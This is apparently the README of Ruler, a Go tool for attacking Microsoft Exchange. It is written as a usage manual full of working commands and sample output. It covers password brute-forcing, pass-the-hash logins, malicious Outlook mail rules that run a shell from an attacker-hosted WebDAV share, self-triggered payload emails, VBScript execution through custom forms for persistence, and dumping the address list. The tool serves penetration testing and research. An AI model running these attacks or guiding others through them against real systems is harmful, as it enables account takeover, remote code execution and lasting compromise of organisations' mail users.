sopsmattw / ruler

A tool to abuse Exchange services

Introduction

Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook mail rules as described in: Silentbreak blog

Silentbreak did a great job with this attack and it has served us well. The only downside has been that it takes time to get setup. Cloning a mailbox into a new instance of Outlook can be time consuming. And then there is all the clicking it takes to get a mailrule created. Wouldn't the command line version of this attack be great? And that is how Ruler was born.

The full low-down on how Ruler was implemented and some background regarding MAPI can be found in our blog posts: Ruler release, Pass the Hash with Ruler, Outlook forms and shells.

For a demo of it in action: Ruler on YouTube

What does it do?

Ruler has multiple functions and more are planned. These include

• Enumerate valid users
• View currently configured mail rules
• Create new malicious mail rules
• Delete mail rules
• Dump the Global Address List (GAL)
• VBScript execution through forms

Ruler attempts to be semi-smart when it comes to interacting with Exchange and uses the Autodiscover service (just as your Outlook client would) to discover the relevant information.

Pre-built Binaries

Compiled binaries for Linux, OSX and Windows are available. Find these in Releases

Getting the Code

Ruler is written in Go so you'll need to have Go setup to run/build the project from source. The easiest way to get up and running from source is through go get.

Get it through Go:

go get github.com/sensepost/ruler

You can now run the app through go run in the GOPATH/src/github.com/sensepost/ruler directory:

go run ruler.go -h

Or build it:

When building you'll need to have your GOPATH correctly configured.

The first step as always is to clone the repo. Here it is probably best to clone into $GOPATH/src/github.com/sensepost/ruler this saves you from having to change a whole bunch of paths. If you are cloning into a different directory, remember you'll need to change all references to github.com/sensepost/ruler in the imports.

git clone https://github.com/sensepost/ruler.git

Ensure you have the dependencies (go get is the easiest option, otherwise clone the repos into your GOPATH):

go get github.com/urfave/cli
go get github.com/howeyc/gopass
go get github.com/staaldraad/go-ntlm/ntlm

Then build it

go build

Interacting with Exchange

Ruler works with both RPC/HTTP and MAPI/HTTP. Ruler favours MAPI/HTTP as this is the default in Exchange 2016 and Office365 deployments. If MAPI/HTTP fails, an attempt will be made to use RPC/HTTP. You can also force RPC/HTTP by supplying the --rpc flag.

As mentioned before there are multiple functions to Ruler. In most cases you'll want to first find a set of valid credentials. Do this however you wish, Phishing, Wifi+Mana or brute-force.

Basic Usage

Ruler has 8 basic commands, these are:

• display -- list all the current rules
• add -- add a rule
• delete -- delete a rule
• brute -- brute force credentials
• send -- send an email to trigger the shell
• abk -- interact with the GAL (MAPI/HTTP only)
• form -- script execution through custom forms
• help -- show the help screen

There are a few global flags that should be used with most commands, while each command has sub-flags. For details on these, use the help command.

NAME:
   ruler - A tool to abuse Exchange Services

USAGE:
   ruler-linux64 [global options] command [command options] [arguments...]

VERSION:
   2.0.17

DESCRIPTION:
            _
 _ __ _   _| | ___ _ __
| '__| | | | |/ _ \ '__|
| |  | |_| | |  __/ |
|_|   \__,_|_|\___|_|

A tool by @_staaldraad from @sensepost to abuse Exchange Services.

AUTHOR:
   Etienne Stalmans <[email protected]>, @_staaldraad

Brute-force for credentials

If you go the brute-force route, Ruler is your friend. It has a built-in brute-forcer which does a semi-decent job of finding creds.

./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt

You should see your brute-force in action:

./ruler --domain evilcorp.ninja --insecure brute --users ~/users.txt --passwords ~/passwords.txt --delay 0 --verbose

[*] Starting bruteforce
[x] Failed: cindy.baker:P@ssw0rd
[x] Failed: henry.hammond:P@ssw0rd
[x] Failed: john.ford:P@ssw0rd
[x] Failed: cindy.baker:August2016
[x] Failed: henry.hammond:August2016
[+] Success: john.ford:August2016
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: cindy.baker:Evilcorp@2016
[x] Failed: henry.hammond:Evilcorp@2016
[x] Failed: cindy.baker:3V1lc0rp
[x] Failed: henry.hammond:3V1lc0rp
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: henry.hammond:Password1
[+] Success: cindy.baker:Password1

Alternatively, you can specify a userpass file with the --userpass option. The userpass file should be colon-delimited with one pair of credentials per line:

$ cat userpass.txt
john.ford:August2016
henry.hammond:Password!2016
cindy.baker:Password1

./ruler --domain evilcorp.ninja --insecure brute --userpass userpass.txt -v

[*] Starting bruteforce
[+] Success: john.ford:August2016
[x] Failed: henry.hammond:Password!2016
[+] Success: cindy.baker:Password1

There are a few other flags that work with brute

These are:

• --stop //stop on the first valid username:password combo
• --delay //how long to wait between multiple password guesses
• --attempts //how many attempts before we delay (attempts per user)
• --insecure //if the Exchange server has a bad SSL cerificate
• --verbose //be verbose and show failed attempts

The autodiscover service

While Ruler makes a best effort to "autodiscover" the necessary settings, you may still run into instances of it failing. The common causes are:

• autodiscover deployed over http and not https (we default to https as this is more common)
• No autodiscover DNS record
• Authentication failing

If you encounter an Exchange server where the Autodiscover service is failing, you can manually specify the Autodiscover URL:

./ruler --url http://autodiscover.somedomain.com/autodiscover/autodiscover.xml

If you run into issues with Authentication (and you know the creds are correct), you can try and force the use of basic authentication with the global --basic

The global --verbose flag will also give you some insight into the process being used by the autodiscover service.

--domain is not needed

Another interesting thing to note, is that Ruler doesn't require the --domain for authentication or autodiscover in most cases. The autodiscover service works off the email addresses domain. If you find that authentication is failing, it might mean that you require the internal domain name as part of the authentication string. For this, you will need to add --domain DOMAIN to your requests. This will ensure that NTLM auth does DOMAIN\USERNAME in the authentication sequence, instead of .\USERNAME.

Basic rule, use --domain with bruteforce (it uses this to figure out the autodiscover URL), otherwise leave it off.

PtH - Passing the hash

Ruler has support for PtH attacks, allowing you to reuse valid NTLM hashes (think responder, mimikatz, mana-eap) instead of a password. Simply provide the hash instead of a password and you are good to go. To provide the hash, use the global flag --hash.

./ruler  --username validuser --hash 71bc15c57d836a663ed0b02631d300be --email [email protected] display

Display existing rules / verify account

Once you have a set of credentials you can target the user's mailbox. Here you'll need to know their email address (address book searching is in the planned extension).

./ruler  --email [email protected] --username username --password password display

Output:

./ruler  --username john.ford --password August2016 --email [email protected] display
[*] Retrieving MAPI info
[*] Doing Autodiscover for domain
[+] MAPI URL found:  https://mail.evilcorp.ninja/mapi/emsmdb/[email protected]
[+] User DN:  /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[*] Openning the Inbox
[+] Retrieving Rules
[+] Found 0 rules

Delete existing rules (clean up after yourself)

To delete rules, use either the ruleId displayed next to the rule name (000000df1), or the rule name. You will be prompted to verify the rule being deleted if you supply only the name.

./ruler --email [email protected] --username username delete --id 000000df1

./ruler --email [email protected] --username username delete --name myrule

Popping a shell

Now the fun part. Your initial setup is the same as outlined in the Silentbreak blog, setup your webdav server to host your payload. A basic webdav server is included in this repostitory. This can be found here. To use this,

go run webdavserv.go -d /path/to/directory/to/serve

Create a Rule

To create the new rule user Ruler and:

./ruler --email [email protected] --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "pop a shell" --name maliciousrule

The various parts:

• --location this is the location of your remote shell note the double slashes (or c:/Windows/system32/calc.exe)
• --trigger the string within the subject you want to trigger the rule
• --name a name for your rule

Output:

[*] Retrieving MAPI info
[*] Doing Autodiscover for domain
[+] MAPI URL found:  https://mail.evilcorp.ninja/mapi/emsmdb/[email protected]
[+] User DN:  /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[*] Openning the Inbox
[*] Adding Rule
[*] Rule Added. Fetching list of rules...
[+] Found 1 rules
Rule: shell RuleID: 01000000127380b1

You should now be able to send an email to your target with the trigger string in the subject line. From testing the mailrule is synchronised across nearly instantaniously, so in most cases you should be able to get a shell almost immediatly, assuming outlook is open and connected.

Semi-Autopwn

If you want to automate the triggering of the rule, Ruler is able to create a new message in the user's inbox, using their own email address. This means you no longer need to send an email to your target. Simply use the --send flag when creating your rule, and Ruler will wait 30seconds for your rules to synchronise (adjust this in the source if you think 30s is too long/short) and then send an email via MAPI.

To customise the email sent with the --send flag, you can use --subject to specify a custom subject (remember to include your trigger word in the subject). Customise the body with --body

...
[*] Adding Rule
[*] Rule Added. Fetching list of rules...
[+] Found 1 rules
Rule: autopop RuleID: 010000000c4baa84
[*] Auto Send enabled, wait 30 seconds before sending email (synchronisation)
[*] Sending email
[*] Message sent, your shell should trigger shortly.
[*] And disconnecting from server

If you want to send the email manually, using the targets own email address, you can also call the send command directly.

./ruler --email [email protected] send --subject test --body "this is a test"

Enjoy your shell and don't forget to clean-up after yourself by deleting the rule (or leave it for persistence).

Getting the GAL

The Global Address List contains a listing of all addresses stored in the organisational addressbook. If your target is accessible through MAPI/HTTP you can list or download the GAL.

To list:

./ruler --email [email protected] abk list"

This will display all entries on screen. Now there can be ALOT of entries, so it's probably more useful to dump this list to file for offline parsing. To do this use the dump command.

./ruler --email [email protected] abk dump --output /tmp/gal.txt

Forms

Ruler can also get shell through custom forms. This is especially useful for persistence, as a form can lie dormant in the inbox, nearly undetectable.

The basic premise behind forms is explained in the Outlook forms and shells.

Setup

If you use the forms attack, you need to ensure that the templates folder is present in the current working directory. Ruler will need the files contained in this directory. Please copy the following files into it:

• img0.bin
• img1.bin
• formstemplate.bin

Using forms

Unlike Rules, forms don't require a WebDAV instacnce and VBScript can be executed directly. A sample VBScript entry would be:

CreateObject("Wscript.Shell").Run "calc.exe", 0, False

The script needs to be supplied in either a file, or on the command line. To create a custom form:

./ruler --email [email protected] form add --suffix superduper --input /tmp/command.txt --send

This will create a new form, of message class IPM.Note.superduper and use the script found in /tmp/command.txt as the VBScript to execute. Using --send simply task Ruler to send an email to the user, using their own account, and ensuring the correct message class is set (which triggers the form).

To trigger an existing form, you don't need send the email from the account that the form was created on. This is great for persistence, you simply need to have a valid Exchange based account (outlook.com is great) and know the suffix used for the form.

./ruler --email [email protected] form send --target [email protected] --suffix superduper

Deleting an existing is done in a similar way to deleting rules.

./ruler --email [email protected] form delete --suffix superduper

Attacking Exchange

The library included with Ruler allows for the creation of custom message using MAPI. This along with the Exchnage documentation is a great starting point for new research. For an example of using this library in another project, see SensePost Liniaal.